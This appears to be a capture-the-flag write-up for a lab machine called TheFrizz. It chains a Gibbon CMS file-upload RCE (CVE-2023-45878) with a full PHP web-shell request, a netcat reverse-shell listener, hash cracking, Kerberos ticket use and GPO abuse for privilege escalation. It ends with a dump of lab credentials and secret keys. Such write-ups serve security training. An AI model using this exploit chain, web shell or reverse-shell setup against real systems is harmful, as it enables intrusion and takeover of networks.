TheFrizz writeup

TheFrizz is a hybrid box that combines web exploitation, database credential extraction, and Active Directory lateral movement. We will exploit a Gibbon CMS RCE (CVE‑2023‑45878), extract and crack hashes, use Kerberos authentication, and abuse Group Policy Objects (GPO) for privilege escalation.

Scan results uncover AD ports and also a web server on port 80.

The web server has a link to a login portal written with the Gibbon framework. The footer of that page leaks version v25.0.00.

cvedetails.com shows that this version is vulnerable to RCE: https://www.cvedetails.com/cve/CVE-2023-45878/

Exploit tutorial: https://herolab.usd.de/security-advisories/usd-2023-0025/

The following request will write the payload <?php echo system($_GET['cmd'])?> to the file asdf.php:

POST /index.php?q=/modules/System%20Admin/module_install.php HTTP/1.1
Host: thefrizz.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="asdf.php"
Content-Type: application/x-php

<?php echo system($_GET['cmd'])?>
------WebKitFormBoundary--

Then establish a reverse shell:

nc -lvnp 4444

Access the shell via the uploaded file:

curl http://thefrizz.htb/uploads/asdf.php?cmd=whoami

In config.php, find the first set of credentials:

$dbuser = 'MrGibbonsDB';
$dbpass = 'MisterGibbs!Parrot!?1';

With MySQL access, open the database and find the gibbonperson table containing the passwords.

Recover the password using hashcat. Format the hash as [username:hash:salt]:

f.frizzle:067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

Run hashcat:

hashcat -m 1410 hash.txt wordlists/rockyou.txt

This gives the cleartext password: Jenni_Luvs_Magic23.

Then use the credentials on Active Directory.

If you have a clock‑skew problem, synchronize with:

sudo ntpdate thefrizz.htb

Generate a Kerberos configuration file and place it into /etc/krb5.conf to make interaction with Kerberos on the target easier.

Collect BloodHound data with RustHound:

rusthound-ce -d thefrizz.htb -u f.frizzle -p Jenni_Luvs_Magic23

Save a TGT ticket (getTGT.py is part of the Impacket toolkit):

getTGT.py -dc-ip thefrizz.htb thefrizz.htb/f.frizzle -password Jenni_Luvs_Magic23

Use Kerberos to authenticate into SSH:

ssh -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes f.frizzle@thefrizz.htb

Inside the C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103 directory, notice a file and its metadata.

The metadata contains the name of the file wapt-backup-sunday.

Use SCP to download that file, or place the file into the web server to download it from there if the SCP method causes a hash mismatch.

Then in conf/waptserver.ini you will find the WAPT credentials:

wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
(!suBcig@MehTed!R)

Fuzz using the decoded password in netexec, using the Kerberos auth you set up earlier:

nxc smb thefrizz.htb -u 'M.SchoolBus' -p '!suBcig@MehTed!R' --kerberos

M.SchoolBus matches!

dde1bc5d66dfe6c2d56d56a22c38fe55.png

This user can create group policies. Also, because it’s in the remote management group, we can just SSH to it.

Get a new TGT:

getTGT.py -dc-ip thefrizz.htb thefrizz.htb/M.SchoolBus -password '!suBcig@MehTed!R'

Move SharpGPOAbuse.exe to the target.

Create a new GPO:

New-GPO -Name "MaliciousPolicy"

Don’t target every computer to reduce noise.

Create a GPO policy for everyone to run a reverse‑shell payload.

Now force the update to be applied immediately:

gpupdate /force

Credentials

mysql:MrGibbonsDB:MisterGibbs!Parrot!?1
f.frizzle:067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
f.frizzle:Jenni_Luvs_Magic23
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
(!suBcig@MehTed!R)
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
M.SchoolBus:!suBcig@MehTed!R